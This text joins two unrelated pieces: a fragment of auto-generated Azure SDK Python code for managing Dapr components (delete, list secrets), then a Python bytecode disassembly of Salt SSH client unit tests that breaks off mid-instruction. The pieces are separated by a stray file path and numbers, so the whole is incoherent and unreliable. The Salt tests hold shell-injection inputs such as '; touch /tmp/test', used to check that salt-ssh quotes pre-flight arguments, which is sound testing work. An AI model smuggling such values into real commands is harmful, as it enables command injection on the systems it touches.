self._deserialize("DaprComponent", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized create_or_update.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}" } @distributed_trace def delete( # pylint: disable=inconsistent-return-statements self, resource_group_name: str, connected_environment_name: str, component_name: str, **kwargs: Any ) -> None: """Delete a Dapr Component. Delete a Dapr Component from a connected environment. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: None or the result of cls(response) :rtype: None :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[None] = kwargs.pop("cls", None) request = build_delete_request( resource_group_name=resource_group_name, connected_environment_name=connected_environment_name, component_name=component_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.delete.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200, 204]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.DefaultErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) if cls: return cls(pipeline_response, None, {}) delete.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}" } @distributed_trace def list_secrets( self, resource_group_name: str, connected_environment_name: str, component_name: str, **kwargs: Any ) -> _models.DaprSecretsCollection: """List secrets for a dapr component. List secrets for a dapr component. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param connected_environment_name: Name of the connected environment. Required. :type connected_environment_name: str :param component_name: Name of the Dapr Component. Required. :type component_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: DaprSecretsCollection or the result of cls(response) :rtype: ~azure.mgmt.appcontainers.models.DaprSecretsCollection :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop( "api_version", _params.pop("api-version", self._config.api_version) ) cls: ClsType[_models.DaprSecretsCollection] = kwargs.pop("cls", None) request = build_list_secrets_request( resource_group_name=resource_group_name, connected_environment_name=connected_environment_name, component_name=component_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.list_secrets.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = ( self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) ) response = pipeline_response.http_response if response.status_code not in [200]: map_error( status_code=response.status_code, response=response, error_map=error_map ) error = self._deserialize.failsafe_deserialize( _models.DefaultErrorResponse, pipeline_response ) raise HttpResponseError( response=response, model=error, error_format=ARMErrorFormat ) deserialized = self._deserialize("DaprSecretsCollection", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized list_secrets.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.App/connectedEnvironments/{connectedEnvironmentName}/daprComponents/{componentName}/listSecrets" }
data/azure-mgmt-appcontainers-3.0.0/azure/mgmt/appcontainers/operations/_connected_environments_dapr_components_operations.py
10,424
9,015
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_CONST 0 LOAD_CONST None IMPORT_NAME re STORE_NAME re LOAD_CONST 0 LOAD_CONST ('dedent',) IMPORT_NAME textwrap IMPORT_FROM dedent STORE_NAME dedent POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pytest STORE_NAME pytest LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.client.ssh.client STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.config STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.roster STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.files STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.path STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.platform STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.thin STORE_NAME salt LOAD_CONST 0 LOAD_CONST None IMPORT_NAME salt.utils.yaml STORE_NAME salt LOAD_CONST 0 LOAD_CONST ('ssh',) IMPORT_NAME salt.client IMPORT_FROM ssh STORE_NAME ssh POP_TOP LOAD_CONST 0 LOAD_CONST ('MagicMock', 'call', 'patch') IMPORT_NAME tests.support.mock IMPORT_FROM MagicMock STORE_NAME MagicMock IMPORT_FROM call STORE_NAME call IMPORT_FROM patch STORE_NAME patch POP_TOP LOAD_NAME logging LOAD_METHOD getLogger LOAD_NAME __name__ CALL_METHOD STORE_NAME log LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object opts at 0x7fab00136a50, file "f.py", line 21> LOAD_CONST 'opts' MAKE_FUNCTION CALL_FUNCTION STORE_NAME opts LOAD_NAME pytest LOAD_ATTR fixture LOAD_CONST <code object target at 0x7fab41dec0c0, file "f.py", line 31> LOAD_CONST 'target' MAKE_FUNCTION CALL_FUNCTION STORE_NAME target LOAD_CONST <code object test_single_opts at 0x7fab42ba9390, file "f.py", line 48> LOAD_CONST 'test_single_opts' MAKE_FUNCTION STORE_NAME test_single_opts LOAD_CONST <code object test_run_with_pre_flight at 0x7fab41dec1e0, file "f.py", line 73> LOAD_CONST 'test_run_with_pre_flight' MAKE_FUNCTION STORE_NAME test_run_with_pre_flight LOAD_CONST <code object test_run_with_pre_flight_with_args at 0x7fab42ba9780, file "f.py", line 107> LOAD_CONST 'test_run_with_pre_flight_with_args' MAKE_FUNCTION STORE_NAME test_run_with_pre_flight_with_args LOAD_CONST <code object test_run_with_pre_flight_stderr at 0x7fab42ba9540, file "f.py", line 142> LOAD_CONST 'test_run_with_pre_flight_stderr' MAKE_FUNCTION STORE_NAME test_run_with_pre_flight_stderr LOAD_CONST <code object test_run_with_pre_flight_script_doesnot_exist at 0x7fab42ba9c90, file "f.py", line 176> LOAD_CONST 'test_run_with_pre_flight_script_doesnot_exist' MAKE_FUNCTION STORE_NAME test_run_with_pre_flight_script_doesnot_exist LOAD_CONST <code object test_run_with_pre_flight_thin_dir_exists at 0x7fab42ba9660, file "f.py", line 210> LOAD_CONST 'test_run_with_pre_flight_thin_dir_exists' MAKE_FUNCTION STORE_NAME test_run_with_pre_flight_thin_dir_exists LOAD_CONST <code object test_run_ssh_pre_flight at 0x7fab42ba90c0, file "f.py", line 242> LOAD_CONST 'test_run_ssh_pre_flight' MAKE_FUNCTION STORE_NAME test_run_ssh_pre_flight LOAD_CONST <code object test_execute_script at 0x7fab42ba9b70, file "f.py", line 275> LOAD_CONST 'test_execute_script' MAKE_FUNCTION STORE_NAME test_execute_script LOAD_CONST <code object test_shim_cmd at 0x7fab42ba9a50, file "f.py", line 306> LOAD_CONST 'test_shim_cmd' MAKE_FUNCTION STORE_NAME test_shim_cmd LOAD_CONST <code object test_shim_cmd_copy_fails at 0x7fab42ba99c0, file "f.py", line 342> LOAD_CONST 'test_shim_cmd_copy_fails' MAKE_FUNCTION STORE_NAME test_shim_cmd_copy_fails LOAD_CONST <code object test_run_ssh_pre_flight_no_connect at 0x7fab42ba9420, file "f.py", line 373> LOAD_CONST 'test_run_ssh_pre_flight_no_connect' MAKE_FUNCTION STORE_NAME test_run_ssh_pre_flight_no_connect LOAD_CONST <code object test_run_ssh_pre_flight_permission_denied at 0x7fab42ba95d0, file "f.py", line 422> LOAD_CONST 'test_run_ssh_pre_flight_permission_denied' MAKE_FUNCTION STORE_NAME test_run_ssh_pre_flight_permission_denied LOAD_CONST <code object test_run_ssh_pre_flight_connect at 0x7fab41c89030, file "f.py", line 466> LOAD_CONST 'test_run_ssh_pre_flight_connect' MAKE_FUNCTION STORE_NAME test_run_ssh_pre_flight_connect LOAD_CONST <code object test_run_ssh_pre_flight_shutil_fails at 0x7fab41c890c0, file "f.py", line 515> LOAD_CONST 'test_run_ssh_pre_flight_shutil_fails' MAKE_FUNCTION STORE_NAME test_run_ssh_pre_flight_shutil_fails LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'SSH_PY_SHIM not set on windows' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_CONST <code object test_cmd_run_set_path at 0x7fab41c891e0, file "f.py", line 559> LOAD_CONST 'test_cmd_run_set_path' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_cmd_run_set_path LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'SSH_PY_SHIM not set on windows' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_CONST <code object test_cmd_run_not_set_path at 0x7fab41c89390, file "f.py", line 581> LOAD_CONST 'test_cmd_run_not_set_path' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_cmd_run_not_set_path LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'SSH_PY_SHIM not set on windows' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_CONST <code object test_cmd_block_python_version_error at 0x7fab41c894b0, file "f.py", line 602> LOAD_CONST 'test_cmd_block_python_version_error' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_cmd_block_python_version_error LOAD_CONST <code object _check_skip at 0x7fab41c895d0, file "f.py", line 625> LOAD_CONST '_check_skip' MAKE_FUNCTION STORE_NAME _check_skip LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_initial_gh_actions_failure LOAD_NAME _check_skip LOAD_CONST ('skip',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'pre_flight_args is not implemented for Windows' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_METHOD parametrize LOAD_CONST 'test_opts' LOAD_CONST (None, '') LOAD_CONST ('one', ' one') LOAD_CONST ('one two', ' one two') LOAD_CONST ('| touch /tmp/test', " '|' touch /tmp/test") LOAD_CONST ('; touch /tmp/test', " ';' touch /tmp/test") LOAD_CONST 'one' BUILD_LIST LOAD_CONST ' one' BUILD_TUPLE LOAD_CONST 'one' LOAD_CONST 'two' BUILD_LIST LOAD_CONST ' one two' BUILD_TUPLE LOAD_CONST 'one' LOAD_CONST 'two' LOAD_CONST '| touch /tmp/test' BUILD_LIST LOAD_CONST " one two '| touch /tmp/test'" BUILD_TUPLE LOAD_CONST 'one' LOAD_CONST 'two' LOAD_CONST '; touch /tmp/test' BUILD_LIST LOAD_CONST " one two '; touch /tmp/test'" BUILD_TUPLE BUILD_LIST CALL_METHOD LOAD_CONST <code object test_run_with_pre_flight_args at 0x7fab41c89660, file "f.py", line 631> LOAD_CONST 'test_run_with_pre_flight_args' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_run_with_pre_flight_args LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'Windows does not support salt-ssh' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_if_binaries_missing LOAD_CONST 'ssh' LOAD_CONST True LOAD_CONST ('check_all',) CALL_FUNCTION LOAD_CONST <code object test_ssh_single__cmd_str at 0x7fab41c896f0, file "f.py", line 688> LOAD_CONST 'test_ssh_single__cmd_str' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_ssh_single__cmd_str LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'Windows does not support salt-ssh' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_if_binaries_missing LOAD_CONST 'ssh' LOAD_CONST True LOAD_CONST ('check_all',) CALL_FUNCTION LOAD_CONST <code object test_ssh_single__cmd_str_sudo at 0x7fab41c89780, file "f.py", line 714> LOAD_CONST 'test_ssh_single__cmd_str_sudo' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_ssh_single__cmd_str_sudo LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'Windows does not support salt-ssh' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_if_binaries_missing LOAD_CONST 'ssh' LOAD_CONST True LOAD_CONST ('check_all',) CALL_FUNCTION LOAD_CONST <code object test_ssh_single__cmd_str_sudo_user at 0x7fab41c89810, file "f.py", line 740> LOAD_CONST 'test_ssh_single__cmd_str_sudo_user' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_ssh_single__cmd_str_sudo_user LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'Windows does not support salt-ssh' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_if_binaries_missing LOAD_CONST 'ssh' LOAD_CONST True LOAD_CONST ('check_all',) CALL_FUNCTION LOAD_CONST <code object test_ssh_single__cmd_str_sudo_passwd at 0x7fab41c898a0, file "f.py", line 767> LOAD_CONST 'test_ssh_single__cmd_str_sudo_passwd' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_ssh_single__cmd_str_sudo_passwd LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR slow_test LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_on_windows LOAD_CONST 'Windows does not support salt-ssh' LOAD_CONST ('reason',) CALL_FUNCTION LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip_if_binaries_missing LOAD_CONST 'ssh' LOAD_CONST True LOAD_CONST ('check_all',) CALL_FUNCTION LOAD_CONST <code object test_ssh_single__cmd_str_sudo_passwd_user at 0x7fab41c89930, file "f.py", line 794> LOAD_CONST 'test_ssh_single__cmd_str_sudo_passwd_user' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME test_ssh_single__cmd_str_sudo_passwd_user LOAD_CONST None RETURN_VALUE LOAD_CONST 'ssh.set_auth_key' LOAD_CONST 'root' LOAD_CONST 'hobn+amNAXSBTiOXEqlBjGB...rsa root@master' BUILD_LIST LOAD_FAST master_opts LOAD_CONST 'argv' STORE_SUBSCR LOAD_FAST master_opts RETURN_VALUE LOAD_CONST 'abc123' LOAD_CONST None LOAD_CONST False LOAD_CONST False LOAD_CONST 'login1' LOAD_CONST 'root' LOAD_CONST 65 LOAD_CONST None LOAD_CONST '' LOAD_CONST '22' LOAD_CONST '/etc/salt/pki/master/ssh/salt-ssh.rsa' LOAD_CONST ('passwd', 'ssh_options', 'sudo', 'identities_only', 'host', 'user', 'timeout', 'remote_port_forwards', 'sudo_user', 'port', 'priv') BUILD_CONST_KEY_MAP RETURN_VALUE LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_FAST single LOAD_ATTR shell LOAD_METHOD _ssh_opts CALL_METHOD LOAD_CONST '' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'ssh login1 -o KbdInteractiveAuthentication=no -o PasswordAuthentication=yes -o ConnectTimeout=65 -o Port=22 -o IdentityFile=/etc/salt/pki/master/ssh/salt-ssh.rsa -o User=root date +%s' STORE_FAST expected_cmd LOAD_FAST single LOAD_ATTR shell LOAD_METHOD _cmd_str LOAD_CONST 'date +%s' CALL_METHOD LOAD_FAST expected_cmd COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 230 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 220 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 210 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 200 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_CONST 'foobar' LOAD_FAST target LOAD_CONST 'ssh_pre_flight_args' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', 'foobar', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 238 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 228 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 218 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 208 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('', 'Error running script', 1) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST True BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 230 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 220 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 210 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 200 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts LOAD_CONST 'argv' BINARY_SUBSCR LOAD_CONST 'localhost' BUILD_TUPLE BUILD_MAP LOAD_CONST None LOAD_GLOBAL salt LOAD_ATTR utils LOAD_ATTR thin LOAD_METHOD thin_path LOAD_FAST opts LOAD_CONST 'cachedir' BINARY_SUBSCR CALL_METHOD LOAD_CONST False LOAD_CONST ('mods', 'fsclient', 'thin', 'mine') BUILD_CONST_KEY_MAP LOAD_FAST target BUILD_MAP CALL_FUNCTION STORE_FAST single LOAD_CONST ('Success', '', 0) STORE_FAST cmd_ret LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_flight LOAD_GLOBAL MagicMock LOAD_FAST cmd_ret LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST mock_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.run_ssh_pre_flight' LOAD_FAST mock_flight CALL_FUNCTION STORE_FAST patch_flight LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.Single.cmd_block' LOAD_FAST mock_cmd CALL_FUNCTION STORE_FAST patch_cmd LOAD_GLOBAL patch LOAD_CONST 'salt.client.ssh.shell.Shell.exec_cmd' LOAD_CONST ('', '', 1) LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST patch_exec_cmd LOAD_GLOBAL patch LOAD_CONST 'os.path.exists' LOAD_CONST False BUILD_LIST LOAD_CONST ('side_effect',) CALL_FUNCTION STORE_FAST patch_os LOAD_FAST patch_os SETUP_WITH to 230 POP_TOP LOAD_FAST patch_flight SETUP_WITH to 220 POP_TOP LOAD_FAST patch_cmd SETUP_WITH to 210 POP_TOP LOAD_FAST patch_exec_cmd SETUP_WITH to 200 POP_TOP LOAD_FAST single LOAD_METHOD run CALL_METHOD STORE_FAST ret LOAD_FAST mock_cmd LOAD_METHOD assert_called CALL_METHOD POP_TOP LOAD_FAST mock_flight LOAD_METHOD assert_not_called CALL_METHOD POP_TOP LOAD_FAST ret LOAD_FAST cmd_ret COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL str LOAD_FAST tmp_path LOAD_CONST 'script.sh' BINARY_TRUE_DIVIDE CALL_FUNCTION LOAD_FAST target LOAD_CONST 'ssh_pre_flight' STORE_SUBSCR LOAD_GLOBAL ssh LOAD_ATTR Single LOAD_FAST opts LOAD_FAST opts 